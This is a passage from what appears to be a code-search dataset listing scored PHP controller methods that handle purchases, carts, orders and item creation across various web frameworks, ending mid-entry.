$this->getSession()->getBasket();\n $oBasket->addVoucher(oxRegistry::getConfig()->getRequestParameter('voucherNr'));\n }", "title": "" }, { "docid": "6a534cd73aad01b9172986192066011d", "score": "0.63969994", "text": "public function add_purchase($data) {\n $this->db->insert('shop_purchase', $data);\n }", "title": "" }, { "docid": "58db3a223553207bdca038d602ca654f", "score": "0.6344715", "text": "public function create()\n {\n //\n\n return view('purchase.create');\n }", "title": "" }, { "docid": "e8f8913c814d485503f6753a1251e3ac", "score": "0.63240844", "text": "public function addOrder(){\n $productModel = $this->model('ProductModel');\n $products = $productModel->getProducts(); \n $defautModel = $this->model('defautModel');\n $customers = $defautModel->getCustomers();\n $this->view('order/viewAddOrder.php', $products, $customers);\n \n }", "title": "" }, { "docid": "e987ff151073d33cfe6a564d77c5caf0", "score": "0.63176405", "text": "public function create()\n {\n return view(\"purchases.create\")\n ->withproducts(Product::select('id', 'name')->get());\n }", "title": "" }, { "docid": "7226370a7477d7f30b1ca54438a952d2", "score": "0.62845105", "text": "public function call($id)\n {\n $product = Product::find($id);\n return view('purchase.create')->with('product',$product);\n }", "title": "" }, { "docid": "cf06a798f544d018c13ee00813d5df39", "score": "0.6281122", "text": "public function create()\n\t{\n $this->layout->page = trans(\"form.invoice\");\n $this->layout->title =trans(\"form.invoice\");\n\t\t$this->layout->breadcrumb = [\n ['link'=>'manager/purchases','title'=>trans('form.invoice')],\n\t\t\t ['link'=>'manager/purchases#','title'=>trans('common.button.create')]\n ]; \n\t\t$customer = User::where('group_users',User::CUSTOMER)\n ->join('profiles','profiles.user_id','=','users.id')\n ->select(DB::RAW('CONCAT(company_name,\"-ID\",users.id) as company_name,users.id as id'))->lists('company_name','id');\t\t\t\t\n\t\t$this->layout->content = View::make('manager.purchases.create',compact('breadcrumb','customer'));\n\t}", "title": "" }, { "docid": "188898a784d828133e8a83de26aa78fa", "score": "0.6251478", "text": "public function purchase(){\n \n $lead = LoanLead::get()->byID($this->request->param('ID'));\n \n $data = array(\n 'Lead' => $lead\n );\n \n return $this->renderWith(array('LeadPage_purchase','Page'),$data);\n \n }", "title": "" }, { "docid": "35403de21a2c42aa3610984fe0dd4c96", "score": "0.6241678", "text": "public function add()\n\t{\n\t\t$this->load->view('bank_account/add');\t\n\t}", "title": "" }, { "docid": "9ffd5053de90a575c013e86a62b69d83", "score": "0.6231885", "text": "public function add() {\n $countries = Auth::user()->countries;\n\n $this->layoutData['content'] = View::make('admin::shopping.pool.add', compact('countries'));\n }", "title": "" }, { "docid": "510061461c4d2fbee4e678be6b4544a8", "score": "0.62288356", "text": "function add() {\n $this->view->data = $this->model->add();\n }", "title": "" }, { "docid": "92f18b88022acc007f2a98a7889b98d3", "score": "0.6217716", "text": "public function store()\n\t{\n\t\t$validator = Validator::make($data = Input::all(), Purchase::$rules);\n\n\t\tif ($validator->fails())\n\t\t{\n\t\t\treturn Redirect::back()->withErrors($validator)->withInput();\n\t\t}\n\n\t\t$cost = Input::get('retweet_count') * 5;\n\n\t\t$purchase = new Purchase;\n\t\t$purchase->user_id = Confide::user()->id;\n\t\t$purchase->tweet_id = Input::get('tweet_id');\n\t\t$purchase->retweet_count = Input::get('retweet_count');\n\t\t$purchase->cost = $cost;\n\t\t$purchase->save();\n\n\t\treturn View::make('purchases.create', compact('purchase'));\n\t}", "title": "" }, { "docid": "93cc4a1168b737c37f05a030c507ca91", "score": "0.6208229", "text": "public function addItem(){\n\t\t$pageName = 'addItem';\n\t\tinclude_once SYSTEM_PATH.'/view/header.tpl';\n\t\tinclude_once SYSTEM_PATH.'/view/addProduct.tpl';\n\t\tinclude_once SYSTEM_PATH.'/view/footer.tpl';\n\t}", "title": "" }, { "docid": "abe71ec2a2ce1d30c7bb640886abbb00", "score": "0.62022585", "text": "public function add_product()\n {\n // $this->user_logged();\n\n // load views as content in template\n $contents = '';\n $contents .= $this->load->view('back/partials/navigation', $this->get_data(), true);\n // $contents .= $this->load->view('front/intro', $this->get_data(), true);\n $contents .= $this->load->view('back/partials/footer', $this->get_data(), true);\n $this->template->load('layout/back', $contents, $this->get_data());\n\n\n }", "title": "" }, { "docid": "ba9dc6052b6d540196595e5e2a750a78", "score": "0.6199209", "text": "public function create()\n {\n return view('purchaseorder::create');\n }", "title": "" }, { "docid": "f8c5c148825456e35a90259865cf31d6", "score": "0.6197832", "text": "public function outstandingpurchase() { \n $data['page'] = 'Purchase Order';\n\t\t$data['page_title'] = 'Outstanding Purchase Orders Maintenance';\n $data['page_module'] = 'inventory';\t\t\n $this->load->view('inventory/purchase/outstanding_purchase/outstanding_purchase', $data); \n\t}", "title": "" }, { "docid": "30f34efa56376298713dfddd0fd0028a", "score": "0.6187125", "text": "public function create()\n {\n $details = [];\n\n return view('purchase.purchase.create',compact('details'));\n }", "title": "" }, { "docid": "a87d3ece5ee8159cf1b043e3f62c92a0", "score": "0.61852145", "text": "public function show(Purchase $purchase)\n {\n //\n }", "title": "" }, { "docid": "bbfb170ed7cc653c3ecfd26d56d5eeaa", "score": "0.61531925", "text": "function add()\n\t{\n\t\t// hien thi form them san pham\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('partner/add');\n\t}", "title": "" }, { "docid": "e05f5a018543b388ae72d3426db44fb0", "score": "0.6147178", "text": "function additem()\n {\n if ($this->isAdmin() == TRUE) {\n $this->loadThis();\n } else {\n $this->global['pageTitle'] = '新增配送员';\n $this->global['pageName'] = 'shipman_add';\n if (empty($_POST)) {\n $this->loadViews(\"user_manage/shipman_add\", $this->global, NULL, NULL);\n } else {\n $this->shipping_validate();\n }\n }\n }", "title": "" }, { "docid": "360f3e87d182f395385505451be11837", "score": "0.6138268", "text": "public function add()\n \t{\n\t // acl permission access for add\n\t if( $this->acl_permits('vendor.approved_deallist') )\n\t {\n\t $this->loadForm();\n\t } \n\t else // Unauthorized access view\n\t {\n\t $view_data='';\n\t $data = array(\n\t 'title' => $this->lang->line('unauth_page_title'),\n\t 'content' => $this->load->view('unauthorized',$view_data,TRUE)\n\t );\n\t $this->load->view('base/error_template', $data);\n\t }\n \t}", "title": "" }, { "docid": "4e588be21af37edad10c1c0b04dd5516", "score": "0.6130946", "text": "function add()\n\t{\n\tif($this->session->userdata('logged_in')){\n\t\t$insert_data = array(\n\t\t'id' => $this->input->post('id'),\n\t\t'name' => $this->input->post('name'),\n\t\t'price' => $this->input->post('price'),\n\t\t'qty' => 1\n\t\t);\n\t\n\t\t// This function add items into cart.\n\t\t$this->cart->insert($insert_data);\n\t\n\t\t// This will show insert data in cart.\n\t\tredirect('billing');\n\t}\n\t}", "title": "" }, { "docid": "28edd743c0749bd8694305ea995e0888", "score": "0.6128725", "text": "public function purchase_list()\n {\n\n $this->tbl_purchase('purchase_id', 'desc');\n $data['purchase'] = $this->global_model->get();\n\n $data['title'] = 'Purchase History';\n $data['subview'] = $this->load->view('admin/purchase/purchase_list', $data, true);\n $this->load->view('admin/_layout_main', $data);\n\n }", "title": "" }, { "docid": "202328949a03f7b14921abddd9d41dd6", "score": "0.61257744", "text": "function addtoCart(){\r\n\t\t$productid = JRequest::getInt('id', 0);\r\n\t\t$quantity = JRequest::getInt('quantity', 0);\r\n\t\tglobal $option;\r\n\t\t$model =& $this->getModel( 'cart', 'ModelProduct' );\r\n\t\t\r\n\t\t$model->insertCart($productid,$quantity);\r\n\t\t//display mod cart\r\n\t\t$document =& JFactory::getDocument();\t\t\r\n\t\t$viewType = $document->getType();\t\t\r\n\t\t$view = &$this->getView('cart', $viewType);\t\t\r\n\t\t$view->setLayout('raw');\r\n\t\t$view->display();\t\r\n\t\t\r\n\t}", "title": "" }, { "docid": "e27505211f2ed724df10f3c0d41ca562", "score": "0.61057734", "text": "public function add_cart_item(){\n\n $this->purchase_model->validate_add_cart_item();\n\n if($this->purchase_model->validate_add_cart_item() == TRUE){\n redirect('admin/purchase/new_purchase/'.$flag = 'purchase');\n\n }\n }", "title": "" }, { "docid": "7ff539b01f4851a39fa77d3f4351a50d", "score": "0.6077014", "text": "public function purchaseInvoiceDetail()\n {\n $this->view->render(\"apps/accounting/purchase-invoice/purchase-invoice-detail\");\n }", "title": "" }, { "docid": "0e81910c38891b5af799673eca34c866", "score": "0.6064784", "text": "public function show(PurchaseOrder $purchaseOrder)\n {\n //\n }", "title": "" }, { "docid": "8f8261973357e4d35f7960a8669e50f8", "score": "0.60621303", "text": "public function addTransactionItemPurchase($itemTypeId, $itemId, $quantity, $fee, $plusVATId)\n\t{\n/*\n\t\t$data['nameParam'] = $_POST[nameParam];\n\t\t\n\t\t//added by Mike, 20200328\n\t\tif (!isset($data['nameParam'])) {\n\t\t\tredirect('browse/searchMedicine');\n\t\t}\n*/\t\t\n/*\n\t\techo itemId: .$itemId;\n\t\techo quantity: .$quantity;\n*/\t\t\n\t\t$data['itemTypeId'] = $itemTypeId;\n\t\t$data['itemId'] = $itemId;\n\t\t$data['quantity'] = $quantity;\n\t\t$data['fee'] = $fee;\n\n\t\t//added by Mike, 20201115\n\t\tif ($plusVATId==1) {\n\t\t\t$data['addedVAT'] = True;\n\t\t\t$this->session->set_userdata('addedVAT', True);\n\t\t}\n\t\telse {\n\t\t\t//edited by Mike, 20201115\n\t\t\tif (isset($_SESSION[\"addedVAT\"])) {\n\t\t\t\t$data['addedVAT'] = True;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$data['addedVAT'] = False;\n\t\t\t\t$this->session->unset_userdata('addedVAT');\n\t\t\t}\n\t\t}\n\t\t\t\t\t\t\n\t\t//added by Mike, 202011115\n\t\tif (isset($_SESSION[\"noVAT\"]) and ($_SESSION[\"noVAT\"]==True)) {\n\t\t\t$data['noVAT'] = True;\t\t\n\t\t\t$this->session->set_userdata('noVAT', True);\n\t\t}\n\t\telse {\n\t\t\t$data['noVAT'] = false;\t\t\n\t\t\t$this->session->set_userdata('noVAT', False);\n\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\tdate_default_timezone_set('Asia/Hong_Kong');\n\t\t$dateTimeStamp = date('Y/m/d H:i:s');\n\t\t\n\t\t$data['transactionDate'] = date('m/d/Y');\n\t\t\n\t\t$this->load->model('Browse_Model');\n\t\n//\t\t$data['result'] = $this->Browse_Model->getMedicineDetailsListViaName($data);\n//\t\t$data['transactionId'] = $this->Browse_Model->addTransactionMedicinePurchase($data);\n\n\t\t$this->Browse_Model->addTransactionItemPurchase($data);\n\t\t\n\t\t$data['result'] = $this->Browse_Model->getItemDetailsList($itemTypeId, $itemId);\n\n/* //removed by Mike, 20230309\n\t\t//added by Mike, 20200406\n\t\t$data['resultPaid'] = $this->Browse_Model->getPaidItemDetailsList($itemTypeId, $itemId);\n*/\n\n\t\t//added by Mike, 20200601; removed by Mike, 20200602\n//\t\t$data['resultPaid'] = $this->getElapsedTime($data['resultPaid']);\n\t\t\n\t\t//edited by Mike, 202005019\n//\t\t$data['cartListResult'] = $this->Browse_Model->getItemDetailsListViaNotesUnpaid();\n\n\t\t//added by Mike, 20230228\n\t\t//note: getServiceAndItemDetailsListViaNotesUnpaid OK,\n\t\t//--> due to:$this->db->where('t2.transaction_date', date('m/d/Y'));\n\t\t\n\t\t//added by Mike, 20230309\n\t\t//TO-DO: -verify: adding patient table to get patient name via JOIN COMMAND only IF patient has already been added in the CART\n\t\t//objective: system speed-up,\n\t\t//via eliminate excess JOIN COMMANDS\n\t\t\n\t\t$data['cartListResult'] = $this->Browse_Model->getServiceAndItemDetailsListViaNotesUnpaid();\n\n/*\t\t//removed by Mike, 20230304\n\t\t//added by Mike, 20230304\n\t\t$data['cartListResult'][0]['patientId'] = $this->Browse_Model->getDetailsListViaId($data['cartListResult'][0]['patientId']);\n*/\n\n\t\t//added by Mike, 20230228\n\t\t//note: getItemAvailableQuantityInStock OK,\n\t\t//--> due to: $this->db->where('t2.transaction_date =', strtoupper(date(\"m/d/Y\")));\n\n\t\t//added by Mike, 20200406; edited by Mike, 20200407\n\t\t$data['resultQuantityInStockNow'] = $this->Browse_Model->getItemAvailableQuantityInStock($itemTypeId, $itemId);\n\t\t\n\t\t//TO-DO: -reverify: remaining DB COMMANDS,\n\t\t//--> that cause noticeable DELAY in execution\n\t\t\n\t\t//TO-DO: -update this\n\t\t//$this->load->view('viewItemNonMedicine', $data);\n\n\t\t//added by Mike, 20200501; edited by Mike, 20200603\n\t\t//edited by Mike, 20210110\n//\t\t$data['resultItem'] = $this->Browse_Model->getMedicineDetailsListViaId($data);\t\t\n\t\t$data['resultItem'] = $this->Browse_Model->getItemDetailsListViaId($data);\n\t\t$data['resultItem'] = $this->getResultItemQuantity($data);\n\n\t\tif ($itemTypeId==\"1\") {\n\t\t\t$this->load->view('viewItemMedicine', $data);\n\t\t}\n\t\t//added by Mike, 20201104\n\t\telse if ($itemTypeId==\"3\") {\n\t\t\t$this->load->view('viewItemSnack', $data);\n\t\t}\t\n\t\telse { //example: 2\n\t\t\t//edited by Mike, 20201115\n\t\t\t$this->load->view('viewItemNonMedicine', $data);\n/*\n\t\t\tif ($plusVATId==1) {\n\t\t\t\t$this->load->view('viewItemNonMedicine', $data);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$data['addedVAT'] = False;\n\t\t\t\tif (isset($_SESSION[\"addedVAT\"])) {\n\t\t\t\t\t$this->session->unset_userdata('addedVAT');\n\t\t\t\t}\n\n\t\t\t\t//note: needs $patientId\n\t\t\t\t$this->lessVATBeforePayTransactionItemPurchase(2,\n\n\t\t\t\twindow.location.href = \"<?php echo site_url('browse/lessVATBeforePayTransactionItemPurchase/2/\"+itemId+\"/\"+patientId+\"');?>\";\t\t\t\n\t\t\t}\n*/\n\t\t}\n\t}", "title": "" }, { "docid": "4e0cf1d24ad39d2437664ca9061e48d8", "score": "0.60410327", "text": "public function create()\n {\n $items = Item::all();\n\n return Inertia::render('Purchases/create', [\n 'items' => $items,\n ]);\n }", "title": "" }, { "docid": "435ac01e98a0e5d3b95379232a38b7cf", "score": "0.60331666", "text": "public function add_update_quotation($id = '',$view = ''){\n\n if (!is_client_logged_in() && !is_staff_logged_in()) {\n \n redirect(site_url('purchase/authentication_vendor/login'));\n }\n\n if ($id == '') {\n $title = _l('create_new_estimate');\n $data['items'] = $this->purchase_model->get_items_hs_vendor(get_client_user_id());\n } else {\n $estimate = $this->purchase_model->get_estimate($id);\n\n $data['items'] = $this->purchase_model->get_items_hs_vendor(get_client_user_id());\n\n $data['etm_detail'] = $this->purchase_model->get_pur_estimate_detail($id);\n\n $item_edit = [];\n $item_ = [];\n foreach($data['items'] as $it){\n $item_[] = $it['id'];\n }\n foreach($data['etm_detail'] as $es){\n if(!in_array($es['item_code'], $item_)){\n $item = get_item_hp($es['item_code']);\n $item_edit['id'] = $es['item_code'];\n if($item){\n $item_edit['label'] = $item->commodity_code.' - '.$item->description;\n }else{\n $item_edit['label'] = '';\n }\n $data['items'][] = $item_edit;\n }\n }\n\n \n\n $data['estimate_detail'] = json_encode($this->purchase_model->get_pur_estimate_detail($id));\n\n\n $data['estimate'] = $estimate;\n $data['edit'] = true;\n $title = _l('edit', _l('estimate_lowercase'));\n }\n if ($this->input->get('customer_id')) {\n $data['customer_id'] = $this->input->get('customer_id');\n }\n $this->load->model('taxes_model');\n $data['taxes'] = $this->purchase_model->get_taxes();\n $this->load->model('currencies_model');\n $data['currencies'] = $this->currencies_model->get();\n\n $data['base_currency'] = $this->currencies_model->get_base_currency();\n\n $this->load->model('invoice_items_model');\n\n \n $data['items_groups'] = $this->invoice_items_model->get_groups();\n\n $data['view'] = $view;\n $data['staff'] = $this->purchase_model->get_vendor_admins(get_client_user_id());\n $data['vendors'] = $this->purchase_model->get_vendor();\n $data['pur_request'] = $this->purchase_model->get_pur_request_by_status(2);\n $data['units'] = $this->purchase_model->get_units();\n \n\n $data['title'] = $title;\n \n\n $this->data($data);\n $this->view('vendor_portal/estimate');\n $this->layout();\n }", "title": "" }, { "docid": "604ce8544debb5a52335af1e7b9f92db", "score": "0.60253984", "text": "public function add()\n {\n // if we have POST data to create a new product entry. If button 'submit_add_product' in view products/index has clicked\n if (isset($_POST['submit_add_product'])) {\n // Instance new Model (Products)\n $Products = new ProductsModel();\n // do add() in model/Products.php\n $Products->add($_POST['description'], $_POST['unity'], $_POST['date']);\n\t // where to go after Products has been added\n\t header('location: ' . URL . 'products/index');\t\n }\n\n // load views. within the views we can echo out $product easily\n\t\t$view = new ProductsView();\n\t\t$view->add('products','add');\n }", "title": "" }, { "docid": "77503d5bc0030d8670e095246295dcba", "score": "0.6018763", "text": "function add()\n\t{\n\t\t$data = array(\n\t\t 'id' => $this->input->post('id_produit'),\n\t\t 'qty' => 1,\n\t\t 'price' => $this->input->post('prix'),\n\t\t 'name' => $this->input->post('nom_produit'),\n\t\t\t\t'picture' => $this->input->post('photo_principale'),\n\t\t\t\t'fraisLivraison' => $this->input->post('frais_livraison'),\n\t\t\t\t'typeLivraison' => $this->input->post('type_livraison')\n\t\t\t\t\n\t\t);\n\n\t\t$this->cart->insert($data);\n\t\tredirect('checkout');\t\n\t}", "title": "" }, { "docid": "f69a5d8ec1e97ee5f6e3e5729c9d14a3", "score": "0.600891", "text": "public function create()\n\t{\n\t\treturn view('customer.view-sale-order-item.create');\n\t}", "title": "" }, { "docid": "4aa92a5acfeffd56c913d1382472843f", "score": "0.60028815", "text": "public function index()\n\t{\n\t\t$content = $this->linvoice->invoice_add_form();\n\t\t$this->template->full_customer_html_view($content);\n\t}", "title": "" }, { "docid": "3c6b139f0e68861a6fb1658b17559e73", "score": "0.59918517", "text": "function addShop()\n {\n if ($this->isAdmin() == TRUE) {\n $this->loadThis();\n } else {\n\n $this->global['pageTitle'] = '新增商家';\n $this->global['areaList'] = $this->area_model->getAreas();\n $this->loadViews(\"shop-add\", $this->global, NULL, NULL);\n }\n }", "title": "" }, { "docid": "23c6eae3274acacd71ac8e63c66c2c6d", "score": "0.59872395", "text": "public function addAction() {\n\t\t\n\t\ttry{\n\t\t\t$isVATFree = false;\n\t\t\t$session \t= new Zend_Session_Namespace ( 'Default' );\n\t\t\n\t\t\tif (empty ( $session->cart )) {\n\t\t\t\t$session->cart = new Cart();\n\t\t\t}\n\t\t\t\n\t\t\t// Get the sent parameters\n\t\t\t$request = $this->getRequest ()->getParams ();\n\t\t\t\n\t\t\tif (! empty ( $request ['product_id'] ) && is_numeric ( $request ['product_id'] )) {\n\t\t\t\t\n\t\t\t\t// Check the quantity value posted\n\t\t\t\tif (! empty ( $request ['quantity'] ) && is_numeric ( $request ['quantity'] )) {\n\t\t\t\t\t\n\t\t\t\t\t// Get all the info about the product selected\n\t\t\t\t\t$product = Products::getAllInfo( $request ['product_id'] );\n\t\n\t\t\t\t\t// Check if the user has been logged in\n\t\t\t\t\tif (!empty($this->customer['customer_id'])) {\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Set the customer for the active cart\n\t\t\t\t\t\t$session->cart->setCustomer($this->customer['customer_id']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Check if the user is VAT free\n\t\t\t\t\t\t$isVATFree = Customers::isVATFree($session->cart->getCustomerId());\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$priceInfo = Products::getPriceSelected($request ['product_id'], $request['term'], $isVATFree);\n\t\t\t\t\t\n\t\t\t\t\t$item = new CartItem();\n\t\t\t\t\t\n\t\t\t\t\tif($session->cart->getItem($request ['product_id'])){\n\t\t\t\t\t\t$item = $session->cart->getItem($request ['product_id']);\n\t\t\t\t\t\t$session->cart->updateItem($item, $item->getQty() + 1);\n\t\t\t\t\t} else { // Add the items to the cart:\n\t\t\t\t\t\t\n\t\t\t\t\t\t$item->setId($request ['product_id'])\n\t\t\t\t\t\t\t->setSku($product['sku'])\n\t\t\t\t\t\t\t->setName($product['ProductsData'][0]['name'])\n\t\t\t\t\t\t\t->setCost($product['cost'])\n\t\t\t\t\t\t\t->setTerm($request ['term'])\n\t\t\t\t\t\t\t->setQty($request ['quantity'])\n\t\t\t\t\t\t\t->setUnitprice($priceInfo['unitprice'])\n\t\t\t\t\t\t\t->setTaxId($product['tax_id'])\n\t\t\t\t\t\t\t->setSetupfee($priceInfo['setupfee'])\n\t\t\t\t\t\t\t->setType(Products::getProductType($request ['product_id']));\n\t\t\t\t\t\t\n\t\t\t\t\t\t$session->cart->addItem($item);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Check if a hosting product is present in the cart\n\t\t\t\t\tif ($session->cart->getCustomer ()) {\n\t\t\t\t\t\t$this->_helper->redirector ( 'summary', 'cart', 'default' );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$this->_helper->redirector ( 'contacts' );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Quantity is not correct and the user is redirected to the homepage\n\t\t\t\t$this->_helper->redirector ( 'index', 'index', 'default' );\n\t\t\t}\n\t\t\t\n\t\t}catch (Exception $e){\n\t\t\t$this->_helper->redirector ( 'index', 'index', 'default', array('mex' => $e->getMessage()) );\n\t\t}\n\t}", "title": "" }, { "docid": "cdae1b3b6cbae487d0ec488a75beea0b", "score": "0.5964838", "text": "public function add()\n\t\t{\n\t\t\tif($_POST)\n\t\t\t{\n\t\t\t\t$modelAccount = $this->loadModel(\"account\");\n\t\t\t\t$modelAccount->add($_POST);\n\t\t\t\t$this->redirect(array(\"controller\"=>\"accounts\"));\n\t\t\t}\n\t\t\t$this->_view->title=\"Nueva Cuenta\";\n\t\t\t$this->_view->renderizar(\"add\");\n\t\t}", "title": "" }, { "docid": "95cc89e86034cf1ffb1b9eb722750830", "score": "0.5964404", "text": "public function create()\n {\n //\n \n $purchase = Purchase::all(); \n $provider = Provider::all();\n $product = Product::all();\n return view('purchase_Detail.create',compact('purchase','provider','product'));\n }", "title": "" }, { "docid": "652472dfc843e709abf134d2699aa653", "score": "0.59454906", "text": "public function create($id)\n\t{\n\t\t$tweet_id = $id;\n\t\treturn View::make('purchases.create', compact('tweet_id'));\n\t}", "title": "" }, { "docid": "47c7b38ebbf51accdb29533961e7519e", "score": "0.5944321", "text": "public function addAction() {\n\t\t$service = $this->_getParam('service');\n\t\t$model = SourceModel::newInstance($service);\n\t\t\n\t\tif (!$this->view->form) {\n\t\t\t$this->view->form \t= $this->buildform($model);\n\t\t}\n\t\t\n\t\t// Assigns the form to the view and other view parameters\n\t\t$this->view->description = $model->getServiceDescription();\n\t\t$this->view->service_name = $model->getServiceName();\n\t\t$this->view->onload\t\t = \"setFocus();\";\t\t\n\n\t\t// Common view stuff\n\t\t$this->common();\n\t\t$this->view->headScript()->appendFile('js/storytlr/effects.js');\n\t\t$this->view->headScript()->appendFile('js/storytlr/focus.js');\n\t\t$this->view->headScript()->appendFile('js/controllers/services.js');\n\t}", "title": "" }, { "docid": "61ea4b1ac606ccdeb90e8b8b610a6ca7", "score": "0.5943222", "text": "public function create()\n {\n $outlets = Outlet::where('status','1')->get();\n $suppliers = Supplier::where('status','1')->get();\n $products = Product::where('status','1')->get();\n\n return view('admin.inventory.purchases.create',compact('outlets','suppliers','products'));\n }", "title": "" }, { "docid": "52735d83ccd5d1d97d2f3d7b6f8902d2", "score": "0.5939501", "text": "public function AddInvItem()\n\t{\n\t\tif( $this->request->getVar('serialno') )\n\t\t{\n\t\t\ttry {\n\t\t\t\t$device = new DevicesModel();\n\t\t\t\t$post_data = [\n\t\t\t\t\t'dev_serial'\t=>\t$this->request->getVar('serialno')\n\t\t\t\t\t// add more fields here...\n\t\t\t\t];\n\t\t\t\n\t\t\t\t$device->insert($post_data);\n\t\t\t\tsession()->setFlashdata('success','Item added successfully!');\n\t\t\t\treturn redirect()->to('/add-inventory');\n\t\t\t} catch (\\Throwable $th) {\n\t\t\t\t//throw $th;\n\t\t\t\tdie($th->getMessage());\n\t\t\t}\n\t\t\t\n\t\t}\n\t\treturn view('items/add-inventory');\n\t}", "title": "" }, { "docid": "9f3ff2f5a54fed1c05b0a08d6b071304", "score": "0.59314984", "text": "public function create()\n {\n $customers = Customer::all([Customer::ID.' as id', Customer::NAME.' as text']);\n $employees = Employee::all([Employee::ID.' as id', Employee::NAME.' as text']);\n $products = Product::all([Product::ID.' as id', Product::NAME.' as text']);\n return view('homework2.edit_purchase',[\n 'customers' => $customers,\n 'employees' => $employees,\n 'products' => $products\n ]);\n }", "title": "" }, { "docid": "5341b04f2ed0db93db1c851f62b3d2bf", "score": "0.5930257", "text": "public function addpurchaseitem()\n{\n $this->layout = \"frontenduser\";\n if($this->request->is('post'))\n {\n $Purchase=$this->request->data;\n //pr($Purchase);die();\n $item = $Purchase['Purchase']['item'];\n $order_id = $Purchase['Purchase']['order_id'];\n \n $product = $this->Product->findProductbyIdName($item);\n // $user = explode(\",\", $item);\n \n if(empty($product))\n { \n $this->Flash->success(\"We couldn't find that product, try again.\", array('key' => 'positive'));\n return $this->redirect(array('controller'=>'Orders','action'=>'orderdetails',$order_id));\n }\n else\n {\n $pro_id=$product['Product']['id'];\n $description=$product['Product']['description'];\n $upc_code=$product['Product']['upc_code'];\n $rate=$product['Product']['price_retail'];\n $cost=$product['Product']['price_cost'];\n \n $this->Purchase->addPurchaseAdmin($Purchase);\n $purchase_id = $this->Purchase->getInsertID();\n // echo $user_id; die();\n \n \n $this->Purchase->updateAll(array('product_id' => \"'$pro_id'\",'description' => \"'$description'\",'rate' => \"'$rate'\",'cost' => \"'$cost'\",'upc_code' => \"'$upc_code'\"),array('id' => $purchase_id));\n //$this->Purchase->query(\"Update Purchases set product_id = $pro_id where id = $inv_id\");\n\n return $this->redirect(array('controller'=>'Orders','action'=>'orderdetails',$order_id));\n }\n\n }\n exit(); \n \n\n}", "title": "" }, { "docid": "a0049d76298b50d7b88cd517f3892c48", "score": "0.59288466", "text": "public function add($id = null)\n {\n $userid = Auth::user()->id;\n\n // Get all user wallets for dropdown and in case no specific wallet was selected.\n $wallets_all = Wallet::where('user_id', $userid)->get();\n\n if (!$wallets_all->toArray()) {\n return back()->withErrors(__('No wallets exist.'));\n }\n\n return view('pages.transaction_add', compact('wallets_all'));\n }", "title": "" }, { "docid": "a39b444f52f77229ab20f26fbf45d49d", "score": "0.59272486", "text": "public function add() {\n\n\t\treturn view('product/form');\n\t}", "title": "" }, { "docid": "f0a17f5d2bd4f718f74d62ed75a26a8d", "score": "0.592161", "text": "public function create()\n {\n $providers=Provider::get();\n return view('purchase.purchase-form', compact('providers'));\n }", "title": "" }, { "docid": "ca6742aff13a406c3e2a44d4e7e7c5c6", "score": "0.59165215", "text": "public function purchases()\n\t{\n\t $purchases = $this->coupons->get_coupons();\t\n\t foreach($purchases as $purchase)\n\t {\n\t $purchase->used_coupons = $this->Common->get_details('coupon_purchases',array('pack_id'=>$purchase->cpack_id))->num_rows(); \n $total_purchase = $this->coupons->getCouponPurchases($purchase->cpack_id);\n $purchase->total_purchase = 0+$total_purchase;\n\t }\n\t $data['purchases'] = $purchases;\n\t $this->load->view('admin/coupons/purchase',$data);\n\t}", "title": "" }, { "docid": "7e8471006ef0c3280e9ed92598e7d824", "score": "0.59080976", "text": "public function actionCreate()\n {\n\n if (Yii::$app->request->post()) {\n if (isset($_POST[\"id_app\"])){\n $idApp = $_POST[\"id_app\"];\n $model = new Purchase();\n $model->id_app = $idApp;\n $model->id_user = Yii::$app->user->identity->id;\n $model->date = new Expression(\"NOW()\");\n if($model->save()){\n $response =[\n 'status'=>'ok',\n 'message'=>'Successful purchase'\n ]; \n }else{\n $response =[\n 'status'=>'Failed',\n 'message'=>'An error occurred, the purchase could not be made'\n ];\n } \n echo json_encode($response); \n \n }\n }\n }", "title": "" }, { "docid": "be7af9de693ac6003b1da61b6c2f5778", "score": "0.5905243", "text": "public function create()\n {\n return \\View::make('dhaaga-clothing.purchaseOrder.purchase-order-create');\n }", "title": "" }, { "docid": "f318bc310751ffcfdee323aa155ece56", "score": "0.5889062", "text": "public function create()\n {\n Return View::make('invoice.add');\n }", "title": "" }, { "docid": "3b6a36c1a6748ef690e787f0b7d04c52", "score": "0.58796394", "text": "public function create()\n {\n return view('backend.customer.add',$this->_data);\n }", "title": "" }, { "docid": "d6fcbaf26988ec38513b7e765dd77406", "score": "0.5868178", "text": "public function create()\n {\n return view('purchase_requests.create');\n }", "title": "" }, { "docid": "b2b0976c186467587a066066de3e64fe", "score": "0.5868125", "text": "public function addAction() {\n $this->view->currentPage = 'headerQuote';\n\n // Load the possible testimonial tags from the database\n $quotes = new Datasource_Cms_HeaderQuotes();\n $this->view->quoteTags = $quotes->getPossibleTags();\n\n if ($this->getRequest()->isPost()) {\n // Save changes\n $this->_saveQuote();\n }\n }", "title": "" }, { "docid": "ca01b575e39aeed11366f15c9e0d4b5e", "score": "0.58576685", "text": "public function actionAdd()\n {\n $model = new Index();\n $post = Yii::$app->request->post();\n\n return $this->render('addOrder', [\n 'servicesLevel' => $model->getServicesLevel(),\n 'model' => $model,\n 'post' => $post,\n ]);\n }", "title": "" }, { "docid": "907dab2ce85845863e4b06a555b9701e", "score": "0.58574414", "text": "function purchase_requisition(){\n\t\t\n\t}", "title": "" }, { "docid": "2e00ef00d33f1c0bec98b28532c6de52", "score": "0.5854387", "text": "public function store(Request $request)\n {\n \n\n $id = Auth::id(); \n $totalPurchase=$request->totalPurchase;\n $purchase = new Purchase;\n $purchase->users_id=$id;\n $purchase->totalpurchase = $totalPurchase;\n $purchase->save();\n\n for($x = 0; $x < $request->quantityproduct; $x++) { // Ciclo el cual almacena todos los articulos entrantes en la compra\n \n $purchase_product= new Purchase_product; \n \n $purchase_product->quantity=$request->quantity[$x];\n $purchase_product->subtotal=$request->subtotal[$x];\n $purchase_product->purchase_id= $purchase->id;\n\n \n $product =Product::where('code',$request->codeproduct[$x])->first();\n \n $product->quantity += $request->quantity[$x];\n $purchase_product->product_id=$product->id;\n 